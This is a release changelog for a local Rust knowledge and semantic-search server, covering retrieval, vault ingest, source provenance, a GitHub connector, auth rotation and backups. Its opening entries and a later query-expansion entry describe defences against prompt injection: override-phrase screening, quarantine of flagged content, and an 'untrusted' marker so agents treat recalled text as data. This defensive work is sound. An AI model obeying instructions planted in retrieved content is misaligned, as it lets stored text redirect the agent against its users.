  • Prompt-injection quarantine (src/config.rs InjectionPolicy): contains_suspicious_pattern hardened with zero-width/control-char normalization (is_zero_width), more instruction-override phrase signatures, and line-anchored structural markers (still no false positive on “Nervous System:”). Under quarantine (default) suspicious content is stored but flagged = 1 and excluded from retrieval; GET /quarantine, POST /quarantine/{id}/release, POST /quarantine/{id}/delete let an operator review/approve/purge. flag_if_quarantined + suppress_flagged_evidence (retrieval-side evidence stripping unless include_flagged).
  • Untrusted-evidence boundary (OWASP LLM01:2025): every SearchResult, RecallHit, and Evidence now serializes untrusted: true, so the consuming agent treats recalled content as data, never as instructions. vec0/FTS search gains an include_flagged filter (default excludes flagged rows).
  • Multi-token auth + live rotation (src/config.rs auth_tokens()): AUTH_TOKEN / AUTH_TOKEN_FILE accept newline-separated tokens, all accepted per request — rotate or revoke by editing the token file, no restart.
  • Encrypted backup/restore (src/backup.rs + brain backup / brain restore / brain doctor --backup): AES-256-GCM (key = SHA256(passphrase)), embedded manifest + .sha256 checksum, secret-file bytes excluded (path+hash recorded only), and a .bak safety snapshot taken before any overwrite.
  • openapi.yaml: documents /webhooks/{kind}, /audit, /quarantine, /quarantine/{id}/release, /quarantine/{id}/delete, and the untrusted field on SearchResult / RecallHit / Evidence.

Honest ceilings (carried into v0.9.8+)

  • The webhook replay defense is delivery-hash + replay window; the Date-header timestamp check tightens it further but is not a signed timestamp (GitHub sends no signed time). Treat webhook_seen as the primary protection.
  • contains_suspicious_pattern is a deterministic structural screen, not a classifier. It catches known override signatures and obfuscation (zero-width chars) but cannot catch every adversarial input. The architectural control point is segregation via the untrusted flag, not the filter alone.
  • The webhook drain worker is an audit-only stub; real ingestion-on-webhook is deferred to a later milestone.
  • No POST /admin/auth/revoke HTTP route yet — revocation is file-based (cp/edit the token file).
  • Encrypted backups use passphrase-derived keys (no OS keychain); that matches the existing auth-token pattern.

[0.9.6] — “Bridge” — 2026-07-20 (released)

v0.9.6 “Bridge” is complete: M1 (connector contract + supervisor primitives + stub binary), M2.1 (auth foundation: AuthProvider trait + CredentialStore

  • GitHubAppProvider), M2.2 (the brain-connector-gh binary + GitHub REST client + issue→Markdown translation + backfill with rate-limit-aware pagination + durable cursors), M2.3 (periodic reconcile via the existing /sources/reconcile route), and M3 (the brain connect github, brain sync, and brain connector-status CLI commands).

The live launchd service continues to run v0.9.6 once install-service.sh is re-run; the connector binaries install alongside the server (built with --features connector-github for brain-connector-gh).

Architecture decisions (locked in by this release)

  • Connectors are separate binaries. The server never links connector code (bin_common/http.rs line 4 invariant preserved). The connector binary is free to depend on reqwest + jsonwebtoken + rsa — all feature-gated on connector-github, never compiled into the server.
  • No new wire protocol. The connector contract is three concrete conventions (manifest TOML + argv + JSON-lines on stdout) plus reuse of the existing brain-server HTTP API (/ingest/markdown, /sources/reconcile, /connectors). Zero new endpoint families.
  • The server is the supervisor. tokio::process::Command with next_backoff restart (exponential capped at 60s, no jitter — single local supervisor, no herd risk).
  • Auth is a trait, not a struct. AuthProvider is the unified surface; StaticTokenProvider (stub + tests), GitHubAppProvider (M2.1), and the future OAuthProvider (v0.9.7) all implement it.

Added

  • src/connector/mod.rs — ConnectorManifest, ConnectorRow, list_connectors, upsert_connector. Idempotent registration.
  • src/connector/supervisor.rs — next_backoff (overflow-safe exponential capped at 60s), spawn_once (tokio::process with kill_on_drop).
  • src/connector/auth/mod.rs — AuthProvider trait + AccessToken (with redacted Display) + StaticTokenProvider.
  • src/connector/auth/store.rs — CredentialStore<T>: per-connector JSON config at ~/.config/brain-server/connectors/{kind}-{instance}.json (0600). Atomic save via std::fs::rename. No at-rest encryption beyond filesystem permissions + FileVault/LUKS — matches the existing auth-token pattern.
  • src/connector/auth/github_app.rs — GitHubAppProvider: full JWT (RS256) → installation-token flow. Token-level repo scoping via the optional repositories body field (the DoD-1 mechanism). In-memory single-slot cache refreshed within REFRESH_SKEW=60s of expiry.
  • src/connector/github/client.rs — GitHubClient: wraps reqwest with GitHub-required headers + rate-limit sleep (capped at 60s) + Link-header pagination.
  • src/connector/github/translate.rs — translate_issue: renders each issue as YAML frontmatter + Markdown body. Source URI: github://{owner}/{repo}/issues/{N}. Stable across edits, unique per issue.
  • src/connector/github/mod.rs — backfill_issues_for_repo + reconcile_github_sources + cursor store (connector_checkpoints table).
  • src/bin/brain-connector-stub.rs — M1 reference connector (~140 LOC). Spawns, parses argv, emits JSON-lines, ingests one doc, exits 0.
  • src/bin/brain-connector-gh.rs — the real GitHub connector (~280 LOC). Loads config, opens checkpoint DB, fetches installation token, backfills each configured repo, reconciles.
  • src/lib.rs — new library target exposing only pub mod connector. Server modules stay private to src/main.rs.
  • Migration: additive connectors + connector_checkpoints tables. Idempotent (CREATE TABLE IF NOT EXISTS). No data migration.
  • GET /connectors route + ConnectorRow OpenAPI schema.
  • brain connect github CLI: writes connector config (0600, atomic) from --app-id, --install-id, --key-file, --repo argv.
  • brain sync [github] CLI: spawns brain-connector-gh with the right argv; surfaces its JSON-lines event stream to the operator.
  • brain connector-status CLI: lists every registered connector.

Changed

  • Cargo.toml: version 0.9.5 → 0.9.6. New optional deps jsonwebtoken (rust_crypto + use_pem features) + reqwest (rustls + json + blocking), both feature-gated on connector-github. New [[bin]] brain-connector-stub (always built) + brain-connector-gh (requires connector-github). New dev-deps rsa + rand + base64 (for JWT-shape tests).
  • openapi.yaml: bumped to 0.9.6; added /connectors route + ConnectorRow schema.
  • test_migration_schema_contract: extended to assert the two new tables.
  • test_openapi_covers_routes: extended with /connectors.

Removed

  • Nothing. The rerank tier removal landed in v0.9.5 (3fcac72); this release is additive.

Honest ceilings (not bugs)

  • Issues only. PRs are filtered out at translate time (PRs are issues with a pull_request field); their dedicated backfill lands in v0.9.7.
  • No comments. Each issue’s body is ingested as one doc; threaded comments land in a separate sub-resource cursor later.
  • No streaming JSON parser. Each page is fully buffered. Fine for issues/PRs/discussions; revisit if wiki pages exceed 1 MB on the 4 GB Jetson.
  • AuthProvider is sync. The connector is a batch process — async here would buy nothing. Revisit if a future connector needs streaming auth.
  • Rate-limit sleep capped at 60s (not the full X-RateLimit-Reset window). Prevents silent hour-long wedges; surfaces as a hard error on the second attempt.
  • No at-rest encryption in CredentialStore. Filesystem permissions + FileVault/LUKS are the only at-rest protection. Matches the auth-token pattern; revisit if multi-tenant.
  • Webhook ingress is deferred. Reconcile alone satisfies DoD-2; the webhook path lands in v0.9.7+ for near-real-time sync.
  • Single-shell restart loop with kill_on_drop. Graceful drain lands with v0.9.7+ brain disconnect.
  • No brain connector doctor. brain status + brain connector-status cover the same ground for v0.9.6.

Context7-verified facts cited inline

  • GitHub REST API (/websites/github_en_rest, 2026-07-20): X-GitHub-Api-Version: 2026-03-10 is current; installation tokens support the repositories body field for per-repo scoping.
  • Standard Webhooks spec (/standard-webhooks/standard-webhooks, 2026-07-20): constant-time compare + idempotency key + timestamp tolerance for webhook signature verification (deferred to v0.9.7 webhook ingress).
  • RustCrypto hashes (/rustcrypto/hashes, 2026-07-20): sha2::Sha256 + hmac::Hmac<Sha256> is the canonical HMAC-SHA256 path for webhook verification (deferred to v0.9.7).
  • jsonwebtoken (/keats/jsonwebtoken, 2026-07-20): RS256 + EncodingKey::from_rsa_pem (requires use_pem feature) is the canonical JWT-signing path for GitHub Apps.

[0.9.5] — “Inspect” — 2026-07-19 (released)

v0.9.5 “Inspect” is complete: M1 (structured query contract), M2 (evidence quality), and M3 (product interface) all shipped 2026-07-19 (M1: a46c7ab, ade13d1, 28309f9; M2: 0b10b45, 9a4ce75; M3: Agent 20). The live launchd service runs v0.9.5.

Removed

  • Rerank tier (--features rerank + fastembed-rs BGE cross-encoder), deleted in 3fcac72. It pegged the M1 CPU and blew the 8s recall timeout, and was too heavy for the Jetson edge GPU. The hybrid vec0 KNN + FTS5 BM25 + RRF + PRF retrieval is the right ceiling for this edge-only deployment. /stats now reports rerank_status: "off". The rerank_score / rerank_truncated / rerank_ms API fields are retained (always null / false / 0) for contract stability. The rerank Cargo feature flag and src/search/rerank.rs were deleted entirely, not stubbed — to re-add the tier, revert 3fcac72 on a CUDA-GPU deployment.

Added (v0.9.5 M1 — “Inspect”)

  • Structured query document (QueryDoc). Both /search and /recall lower their params into one versioned QueryDoc (src/search/query.rs), so they share a single lexical compiler + validation path. A plain-text query remains backwards compatible.
  • Lexical controls via LexSpec. { terms, phrases, exclude, code } is compiled into a validated, FTS5-quoted MATCH string. Replaces the old unvalidated raw-lex passthrough (which returned opaque SQLite errors on bad input). Caller input can no longer inject FTS5 operators. /recall accepts lex as either a bare string ({"lex":"foo"}) or a full LexSpec object; /search (GET) takes a comma-separated lex string mapped to one term.
  • Multi-source OR scoping. SearchFilters.sources: Vec<String> applies source IN (?,?…) in both vec0_knn and fts_search; the legacy single source= is still honored when sources is empty. /search takes comma-separated sources=a,b.
  • intent is provenance-only. Recorded into telemetry/provenance; never injected as a search term and never relaxes since/source/domain filters (verified by code trace).

Changed

  • /search and /recall responses now reflect the compiled lexical query and OR source scope in their explain/query_plan blocks.

Known ceilings (not bugs)

  • profile field is accepted but passthrough (no rerank/weighting yet).
  • LexSpec covers terms/phrases/exclusions/exact-code only — no NEAR, prefix *, or column filters.
  • /search GET takes a flat lex string, not a nested LexSpec; the full structured form is on /recall POST and will back the M3 brain query CLI.

Added (v0.9.5 M2 — “Evidence quality”)

  • Structured Evidence on every hit. SearchResult/RecallHit now carry evidence = { text, line_start, line_end, heading_path, source_uri, revision_id, highlights }. text is a verbatim substring of the chunk; highlights are byte-offset ranges within that window (the server never injects HTML). source_uri/revision_id link to the exact source revision (NULL for pre-v0.9.4 chunks without source linkage). Populated by one batched LEFT JOIN (enrich_evidence), not N queries.
  • GET /get/{id} and POST /multi-get now return source_uri + revision_id; multi-get bound raised to 1000 (was hardcoded 100).
  • explain redaction + reproducibility. /search?explain=true redacts full content from results (only the bounded evidence.text/snippet serialize) and adds k/source/domain/since/profile to query_plan. A MAX_EXPLAIN_BYTES (64 KiB) hard cap falls back to the summary if exceeded. Snippet window bounded by MAX_SNIPPET_CHARS (240)
    • SNIPPET_CONTEXT_CHARS (60), centralized in config.rs.
  • config.rs: added MAX_SNIPPET_CHARS, SNIPPET_CONTEXT_CHARS, MAX_EXPLAIN_BYTES, MAX_MULTI_GET.

Added (v0.9.5 M3 — “Product interface”)

  • brain query on the structured contract. brain query "<q>" now POSTs POST /recall with a v0.9.5 QueryDoc: repeatable --phrase/--exclude/ --code (lowered into LexSpec), multi---source OR scope, --intent, --profile, --since, --k, --explain. Back-compat bare-string queries still work.
  • brain get <id> implemented against the existing GET /get/{id} route (M2.3 ceiling closed). Prints title/source/heading/line span/source_uri/ revision_id + content; 404 → “no chunk with id”.
  • brain explain unified on /recall’s provenance/telemetry envelope (closes the M2.2 split where /search used query_plan and /recall used telemetry).
  • GET /openapi.yaml serves the canonical OpenAPI 3.0 contract (embedded via include_str!, so it ships with the binary). openapi.yaml updated to v0.9.5: all 23 routes + QueryDoc/LexSpec/Evidence/Chunk/QueryPlan/ SearchTelemetry schemas.
  • examples/client_example.rs — a typed client over the shared dependency- free HTTP client, demonstrating a structured QueryDoc roundtrip.
  • MCP tool schema (mcp server): brain_search/brain_recall/ brain_ingest updated to the v0.9.5 QueryDoc; both search tools now POST POST /recall via one shared body-lowerer.
  • API versioning + deprecation. Every response carries X-Api-Version: <semver>; deprecated POST /add and GET /search return an RFC 8594 Deprecation: version="0.9.5" header. Policy + migration mapping documented in API_CONTRACT.md §Versioning & deprecation.
  • test_openapi_covers_routes: asserts every route registered in build_app appears in openapi.yaml.

Known ceilings (carried into v0.9.6)

  • highlights over the full chunk still require GET /get/{id}; brain get returns full content so a client can compute its own.
  • profile accepted but passthrough (no rerank weighting yet).
  • OpenAPI is hand-written (no code-gen dep); the coverage test guards drift.

[0.9.4] — “Sources” — 2026-07-17 (released)

The source-lifecycle release. Every knowledge chunk now carries provenance: the canonical source it came from (a vault file, a manual memory, …) and the immutable source_revision snapshot of the exact content version. A vault file edited on disk produces a new revision atomically; a deleted file is detected by brain reconcile and its chunks swept from retrieval. Plus a bug-fix sweep that landed while the feature work was in flight.

Added

  • Canonical sources + revisions (M1+M2). Two new tables — sources (stable identity per external document, keyed by canonical URI; kind-scoped as vault / manual) and source_revisions (immutable snapshots; supersession chain). Two new columns on knowledge (source_id, revision_id) link every chunk to its source + revision. Existing 430-doc DB left NULL — pre-v0.9.4 chunks keep working; new ingests pick up source linkage. Idempotent additive migration (CREATE IF NOT EXISTS + column guards), guarded by test_migration_schema_contract.
  • /ingest/markdown + /ingest/memory now write source linkage inside their existing transactions. Vault ingests use the canonical file path as the URI; manual memories use manual://{content_hash} (no PII; stable across re-ingests; immune to vault reconcile because reconcile is kind-scoped). The unchanged-file no-op path backfills source linkage for pre-v0.9.4 chunks on first v0.9.4 re-ingest — so re-ingesting an existing vault retroactively links its chunks without rescanning.
  • POST /sources/reconcile — body {kind, live_uris: [string]}. The server retires any active source of kind whose URI is NOT in the live set, sweeping its chunks from retrieval (vec0 + FTS + knowledge rows) and tombstoning the source + active revision. The server does NOT walk the filesystem — the caller supplies the live set, preserving the client/server boundary. Bounded MAX_LIVE_URIS = 50_000.
  • DELETE /sources/{id} — retires a single source by id. 404 if absent.
  • brain reconcile <path> [--kind vault] [--dry-run] — walks the path with the SAME walker + .brainignore semantics + canonicalized-absolute-path URI form that brain ingest-dir uses, so URIs match what’s stored. POSTs the live set to /sources/reconcile. Recommended after every brain ingest-dir <vault> to detect deletes / renames.
  • brain source-delete <id> — companion CLI for the DELETE route.
  • scripts/install-service.sh now installs the operator CLIs (brain, mcp, bench) alongside brain-server, with --features bench so the bench binary compiles. Previously only the server binary was installed, so brain doctor / brain status were not on $PATH.
  • macOS com.apple.provenance xattr cleanup in install-service.sh. Sonoma+ tags every newly-written executable with this xattr and Gatekeeper SIGKILLs the process on first exec (Killed: 9, exit 137). The script now strips it after each copy so freshly-installed binaries actually run.

Fixed

  • Character-preservation warranty for the ingest pipeline. Markdown files whose name OR content contain special characters — #, -, _, spaces, parens, brackets, unicode, backticks, code fences with #-comments, hash-delimiters inside string literals — now round-trip verbatim through the chunker → DB → source-linkage → dedup path. Filenames with special chars are preserved byte-for-byte as sources.uri and knowledge.source_path; content is preserved in knowledge.content; per-chunk content_hash is stable across re-ingest. The chunker treats #-lines inside a code fence as code, NOT as headings (so a Python file with #-comments is not mistaken for a heading hierarchy). Renamed the misleading MAX_CHUNK_CHARS to MAX_CHUNK_BYTES (it was always bytes). Verified by test_special_characters_survive_ingest_pipeline.
  • brain --help lost its 2-space indentation. The print_usage string used \n\ line continuations, which Rust interprets as “newline + strip leading whitespace on next line” — so every subcommand rendered flush-left. Switched to a raw string literal (r#"..."#) which preserves the intended 2-space indentation and lets embedded " survive without escaping.
  • /stats reported a stale embeddings count (e.g. 2 on a 430-doc corpus). The handler counted the legacy embeddings table, which has been frozen read-only since v0.9.0 — all post-v0.9.0 vectors live in the vec_knowledge vec0 table. /stats now counts vec_knowledge, so the number reflects the live index (backfilled legacy + new ingests).
  • brain, mcp, and bench CLIs returned 401 on every authenticated route (/search, /stats, /recall, /ingest/*, /sources/*). The shared HTTP client in src/bin_common/http.rs had no auth support; get()/post() did not accept headers, so no Authorization: Bearer was ever sent. The client now takes an optional bearer: Option<&str>, and each binary resolves the token via BRAIN_TOKEN_FILE → BRAIN_TOKEN → ~/.config/brain-server/auth-token (mirroring the server’s AUTH_TOKEN_FILE → AUTH_TOKEN ladder). Zero-config for the common install — same file the launchd plist already sources.
  • brain-server --version silently started the server. main.rs did no argv inspection, so any flag was ignored and execution fell through to bind(). If the port was free, the process became a foreground server attached to the caller’s shell. An argv guard now runs before any side effect (tracing init, model load, socket bind): --version/-V prints and exits 0; --help/-h prints brief usage and exits 0; unknown --prefixed flags exit 2 instead of launching the server.
  • brain --version was rejected as an unknown subcommand (error: unknown subcommand '--version', exit 2). Added a -V/--version arm to the existing command matcher; both brain and brain-server now report env!("CARGO_PKG_VERSION") and exit 0.

Changed

  • write_markdown_ingest takes a new raw_content: &str parameter (the original payload, frontmatter + body) so the source revision hash reflects ANY change in the file, not just body changes that survive frontmatter stripping. Now 8 args — #[allow(clippy::too_many_arguments)] with a comment explaining why bundling into a struct is pure ceremony for a private fn with one prod caller.
  • CI now runs cargo clippy --all-targets --features bench -- -D warnings and cargo test --all-targets --features bench. The bench binary is feature-gated and was previously untested upstream.
  • Chunker rewritten on top of pulldown-cmark 0.13 (Context7-verified 2026-07-17). The pre-v0.9.4 chunker was a hand-rolled line-scanner that mis-handled CommonMark constructs: setext headings (Foo\n===), indented code blocks (4-space indent), blockquotes, lists, GFM tables. The new chunker walks pulldown-cmark’s event stream with into_offset_iter() and slices source bytes verbatim from the union of event ranges, so every container markup character (>, -, |, fence markers) survives intact. Heading detection is now CommonMark-spec-driven (handles ATX, setext, and any GFM-tagged heading), #-comments inside code blocks are no longer mistaken for headings, and indented code blocks are no longer mistaken for prose. New dependency: pulldown-cmark = { version = "0.13", default-features = false } (we use only the parser; the html/getopts default features are dropped). pulldown-cmark is #![forbid(unsafe_code)] upstream; we keep our #![deny(unsafe_code)].
  • Chunker warranty (carryover from earlier v0.9.4 work): every byte of input text — including #-comments inside code fences, unicode, backticks, brackets, dashes, hash-delimiters inside string literals — survives intact into the chunk text. The only lines consumed (not buffered verbatim) are ATX and setext headings; their text becomes the chunk’s heading_path breadcrumb instead. The misleading MAX_CHUNK_CHARS constant was renamed MAX_CHUNK_BYTES (it was always bytes — str::len). Verified by test_special_characters_survive_ingest_pipeline plus 6 new per-construct tests covering setext, indented code, blockquote, list, GFM table, and #-in-code-fence.

Tests

  • 130 passed, 1 ignored (was 113 at v0.9.3). Delta: +7 from sources::tests::* now reachable via mod sources;, +4 v0.9.4 vault/memory source-linkage integration tests, +1 character-preservation warranty test, +5 new CommonMark chunker tests (setext, indented code, blockquote, list, GFM table, #-in-code-fence) replacing the 1 removed parse_heading test.
  • New test_migration_schema_contract asserts the full table/column contract after run_migration and verifies the ingest → FTS5 → vec0 roundtrip. This is the single test that catches a broken migration before it reaches the live DB.

Known limitations

  • Measured RSS / latency / recall numbers on 4 GB ARM and the ≥100 judged- query corpus remain PENDING a hardware run (inherited from v0.9.3).
  • pulldown-cmark itself does not handle Obsidian-specific wikilink syntax ([[target]]) at the structural level — it emits them as Text events, which our chunker passes through verbatim. The vault::parse_wikilinks post-pass extracts them as references KG edges separately; the chunk text is unchanged.

[0.9.3] — “Calibrate” — 2026-07-11 (released)

Named release formalizing the retrieval-calibration work that shipped in v0.9.1. No new runtime code: the three Calibrate exit criteria — PRF executes, rerank has a candidate window, and the benchmark is reproducible — are all already satisfied by v0.9.1 and are guarded by dedicated tests. This release exists to make the calibration state a named, reviewable checkpoint before the source- lifecycle work in v0.9.4.

Calibration state (verified, not newly added)

  • PRF executes. The v0.9.1 fix replaced an unreachable 0.3 RRF-score threshold with a deterministic, calibrated gate (prf_should_expand): expansion fires only when the top pass-1 result appears in both the dense and lexical lists within a bounded rank. Guarded by prf_expands_only_on_cross_retriever_agreement.
  • Rerank has a candidate window. RERANK_CANDIDATES = 30; retrieval over- fetches a window ≥ k and reranks before truncating to k, so a relevant hit just below k can be promoted. Guarded by candidate_window_equals_k_when_disabled and the rerank contract tests.
  • Benchmark is reproducible. BENCHMARKS.md fixes the workload, hardware, metrics, and commands; the bench feature and tests/metrics.rs implement the protocol. The metric functions (recall@k, precision@k, nDCG@k, MRR) are unit-tested with hand-computed values.

Honest status

  • Measured RSS/latency/recall numbers on 4 GB ARM and the ≥100 judged-query corpus remain PENDING a hardware run. No claim of measured QMD parity is made.

[0.9.2] — “Connect” — 2026-07-11 (released)

External markdown ingestion. brain-server can now ingest an Obsidian vault (or any directory of markdown) and turn it into a searchable, graph-aware knowledge base — no GPU, no model download, no API key, no data egress. This is the market wedge: the only zero-dependency local semantic search engine over a user’s notes.

One-shot ingest + graph is OSS. Live file-watcher sync, multi-vault, and the Obsidian plugin UI remain a paid “Brain Vault” tier (feature-gated live-sync, not compiled into this release).

Added

  • brain ingest-dir <path> — recursive markdown ingest with source_path provenance on every ingested chunk. Walks are bounded (MAX_INGEST_FILES=50k, MAX_INGEST_BYTES=500MiB); .brainignore and Obsidian-internal dirs (.obsidian/, .trash/) are honored.
  • YAML frontmatter parsing (title, tags, aliases): stripped before chunking; the frontmatter title is preferred for vault ingests (filename fallback). New src/vault.rs module — pure, no YAML dependency.
  • [[wikilink]] → knowledge graph: [[Target]], [[Target|Alias]], [[Target#Heading]] become traversable references edges. Non-existent targets are created as placeholder entities so the graph completes as their files are ingested.
  • Frontmatter → entity metadata: tags: → tag entities with tagged_with edges; aliases: → alias_of edges (a query for an alias resolves to the note).
  • Vault dedup is scoped to source_path: re-ingesting an unchanged file is a true no-op (same chunk ids, zero inserts); a changed file sweeps its old chunks + vec0 rows and re-inserts. Content hashes are namespaced with source_path (xxh3_64_with_seed) so vault chunks never collide with memories or other files under the global unique index.
  • Schema: new knowledge.source_path TEXT column (additive migration, NULL for existing / interactive rows) + idx_knowledge_source_path index.

Fixed

  • /graph/entity and /graph/traverse rejected entity names containing spaces, but note titles are stored with spaces (per NAME_RE). Both now allow spaces, so the wikilink graph is traversable from note titles like bignay fruit.

Changed

  • The /ingest/markdown DB-write was extracted into write_markdown_ingest(tx, ...) so the vault dedup/replace/KG logic is unit-testable without the embedding model.
  • Title precedence is now caller-aware: vault ingests prefer frontmatter title; interactive adds prefer the explicit payload title.

Tests

  • 12 unit tests for src/vault.rs (frontmatter + wikilink forms).
  • 6 integration tests for vault ingest (source_path storage, idempotent re-ingest, changed-file replace, wikilink→references, tags/aliases edges, schema).
  • 4 unit tests for the client glob matcher and .brainignore honoring.

Out of scope (paid tier / later releases)

  • Live file-watcher sync (notify crate), multi-vault, scheduled re-index — paid “Brain Vault” tier behind live-sync.
  • Obsidian plugin UI — paid tier.
  • Per-domain isolation — v1.0.0 upgrades an ingested vault from flat global content into an isolated domain.

[0.9.1] — “Recall” — 2026-07-11 (released)

Phase 2 of the roadmap. The retrieval engine was extracted into src/search/ (#![deny(unsafe_code)]; all sqlite-vec FFI stays in the crate root) and hardened end-to-end: hybrid RRF fusion, PRF query expansion with FTS5-weighted term extraction, an optional cross-encoder rerank tier, and full per-result provenance on both /search and /recall. This entry also closes the v0.9.0 plan gaps that the first-pass audit found (quantization DoD, migration safety, benchmark/eval harnesses).

Fixed

  • PRF query expansion actually executes now. The previous gate compared an RRF fused score against an unreachable 0.3 threshold (top RRF ≈ 2/60 ≈ 0.033), so expansion never ran. PRF now uses a deterministic, calibrated gate (prf_should_expand in src/search/mod.rs): expansion fires only when the top pass-1 result appears in both the dense (vec0) and lexical (FTS5) lists within a bounded rank.
  • Rerank contract repaired. The server previously truncated to k before reranking, so a relevant candidate just below k could never be promoted. It now over-fetches a candidate window (RERANK_CANDIDATES = 30, fixed constant) and reranks it before truncating to k.
  • Silent since filter replaced. The temporal filter is now validated as ISO-8601 (RFC3339 or YYYY-MM-DD HH:MM:SS) via normalize_since and rejected if malformed, instead of relying on a lexical string comparison.
  • /recall now surfaces per-result provenance. The handler previously computed per-retriever ranks and fused scores internally but dropped them at the handler boundary. RecallHit now carries an optional Provenance (populated when provenance=true on the request), closing the gap between /search (which already surfaced it) and the /recall + MCP brain_recall path.
  • Quantization DoD met: no raw f32 JSON in the DB. All five ingest paths (add_chunk, ingest_memory, ingest_markdown, reindex, and the /ingest plugin handler) no longer write the legacy JSON embeddings.vector column. vec0 (int8 + binary) is the sole write target. The embeddings table is retained read-only for one-time backfill of pre-v0.9.0 DBs.
  • Version source-of-truth. The mcp binary now derives SERVER_VERSION from env!("CARGO_PKG_VERSION") (was hardcoded "0.9.1", which would drift on the next bump).

Added

  • Hybrid retrieval with Reciprocal Rank Fusion. Vector (vec0 KNN) and lexical (FTS5 BM25) retrieval run concurrently on independent pooled read connections, then are fused via RRF (k = 60, no learned weights). Each result records per-retriever ranks + the fused score in its Provenance.
  • PRF query expansion with FTS5-weighted term extraction. Two-pass retrieval: pass-1 over-fetches by PRF_DEPTH, then high-signal expansion terms are extracted from the top hits via the knowledge_fts_vocab table (fts5vocab='instance') with IDF-weighted BM25-style scoring (score = local_cnt × ln(1 + total_docs/df)). The expanded query is re-run and the two passes are RRF-fused so original-query matches keep their rank contribution (fuse_prf_passes). Falls back to the pure DF variant when the vocab table is unavailable.
  • Anti-injection guardrail for PRF. Term extraction skips content that trips the prompt-injection screen and skips rows flagged as quarantined (flagged column on knowledge). Expansion is also gated on cross-retriever agreement — the top pass-1 result must appear in both the dense and lexical lists within a bounded rank, so PRF never amplifies a single-retriever outlier.
  • Env-driven PRF configuration (PrfConfig::from_env): PRF_ENABLED (default true), PRF_DEPTH (default 10, clamped 1–100), PRF_TERMS (default 5, clamped 1–50), PRF_MAX_RANK (default 5, clamped 0–100).
  • Optional cross-encoder rerank tier. Feature-gated (--features rerank) and runtime-gated (RERANK_ENABLED=true); the default build is pure-static (Model2Vec, zero extra RSS). Uses BGERerankerV2M3 via fastembed::TextRerank::rerank (scores query–doc pairs), memory-bounded by RERANK_CANDIDATES (30) and RERANK_MAX_CHARS (4096), and fails open to the first-stage result. Observable status (off/disabled/loading/ready/ failed) surfaced via /stats.
  • Metadata-filtered KNN. source, since (ISO-8601), and domain filters are pushed into the vec0 KNN and FTS5 WHERE clauses (parameterized — no SQL injection). source and created_at are declared as vec0 metadata columns.
  • Per-stage latency telemetry (embed / vector / fts / fusion / prf / rerank) recorded in SearchTelemetry and emitted at debug level. /search?explain=1 returns per-stage telemetry and the query plan.
  • Structured query (lex / vec / hyde / intent) on /search and /recall: lexical precision via FTS5, semantic + hypothesis via the dense path, intent recorded for provenance. Faithful verbatim snippets are attached to each hit.
  • Benchmark harness (bench Cargo feature + src/bin/bench.rs): ingests 1k/5k/10k synthetic docs against a running server, records RSS at rest and per-batch (via /health), ingest throughput, and p50/p95/p99 /search latency. No new dependencies (reuses the shared HTTP client).
  • Recall eval harness (#[ignore]d test eval_recall_harness): loads the model, builds a temp DB, and measures recall@5 / recall@10 across pure-vector / hybrid / hybrid+PRF configs. Runnable via cargo test --release -- --ignored --nocapture eval_recall_harness.
  • Migration safety. Pre-migration VACUUM INTO backup (one-shot, marker-guarded, skipped for fresh DBs) runs before run_migration so the rollback path is always possible. Added migrate_down_0_9_0() reversibility path (drops vec0 + FTS5 + vocab + schema markers; preserves knowledge/embeddings). Post-backfill parity check warns when COUNT(vec_knowledge) < COUNT(embeddings).
  • Developer surface: a brain CLI (src/bin/brain.rs: query, explain, ingest-dir with .brainignore + content-hash idempotency + --dry-run, bench, status, doctor), a minimal stdio MCP server (src/bin/mcp.rs), and openapi.yaml — all dependency-light HTTP clients to the running server.
  • Bearer-token auth (AUTH_TOKEN) on non-public routes, with loopback-safe defaults, and retrieval profiles (MODEL_PROFILE: edge-default, quality-local, multilingual, air-gapped).
  • P2 scaffolding: domain, observed_at, valid_from, valid_to columns on knowledge, with domain scoping in the retrievers (single-DB tagged model).
  • Structure-aware Markdown chunking (src/chunker.rs): /ingest/markdown now splits documents at heading boundaries (keeping code fences intact), stores one chunk per knowledge row with document_id, chunk_index, heading_path, and 1-indexed line span, and embeds each chunk. Added GET /get/{id} and POST /multi-get for stable chunk retrieval.
  • Implemented POST /ingest (was unimplemented!()/panic): the structured store now embeds, dedups via content_hash, routes to the resolved domain, and inserts knowledge + vec0 + entities + relations in one transaction.
  • Delete + tombstones: DELETE /memory/{id} now also cleans the vec_knowledge row (no FK cascade) and records a tombstones audit row; deleted content is gone from retrieval immediately.
  • POST /reindex rebuilds all vec_knowledge from knowledge. GET /domains now lists real per-domain counts.
  • Per-domain DB registry (P2 foundation): src/domain_registry.rs adds a DomainRegistry with lazy per-domain pools (brain-<domain>.db), filename-safe domain validation, and a back-compat shim (BRAIN_MULTI_DB, off by default = legacy single-DB behavior). /ingest and /recall route through it; global keeps using the existing brain.db (no data migration required).
  • Centroid routing + federation (P2): src/domain_router.rs computes a mean embedding centroid per domain (stored in domain_centroids, refreshed on ingest
    • /reindex) and a pure route() with a confidence threshold. In multi-db mode /recall auto-routes to the best domain (strict isolation) or federates across all known domains with a labelled per-hit source domain when no domain is confident and strict=false.

Changed

  • The optional rerank tier remains feature-gated and off by default: it compiles only with --features rerank and activates only when RERANK_ENABLED=true. The default edge build is pure-static (Model2Vec, no heavy cross-encoder). When enabled it uses the BGE-RerankerV2M3 cross-encoder and fails open to the first-stage result.
  • PRAGMA mmap_size (256 MiB, config::DB_MMAP_SIZE_MIB) is now set in run_migration, letting SQLite memory-map the DB without loading it all into RSS.
  • CORS loopback guard. When CORS_ORIGINS is unset, the fallback now strips non-loopback origins, preventing an accidental open CORS policy in production. CORS_MAX_AGE_SECS is wired into the CorsLayer (was a dead constant).
  • Connection watchdog now uses the CONNECTION_WATCHDOG_* constants instead of hardcoded literals.
  • Dead config constants removed (ENTITY_NAME_MAX_LENGTH, TRAVERSE_MAX_DEPTH, REQUEST/SEARCH/HEALTH_TIMEOUT_SECS, CONTENT/TITLE_MAX_LENGTH) along with the file-level #![allow(dead_code)] that was masking them.

Known limitations / pending

  • No measured QMD parity. The benchmark harness (bench feature) and eval harness (eval_recall_harness) now exist and are runnable, but the actual RSS/latency/recall numbers require a run on the target hardware (4 GB ARM). BENCHMARKS.md cells remain PENDING until then. No claim of measured QMD parity is made.
  • Eval corpus is a 10-doc smoke set, not the ≥100 judged queries over a representative corpus that the plan calls for. It gives a directional signal; it is not sufficient for a release-blocking parity claim.
  • perform_search_legacy (in-RAM brute-force cosine scan over JSON vectors) is retained as a cold-start fallback for pre-migration DBs where vec0 is empty. It is no longer the primary path — vec0 KNN is.
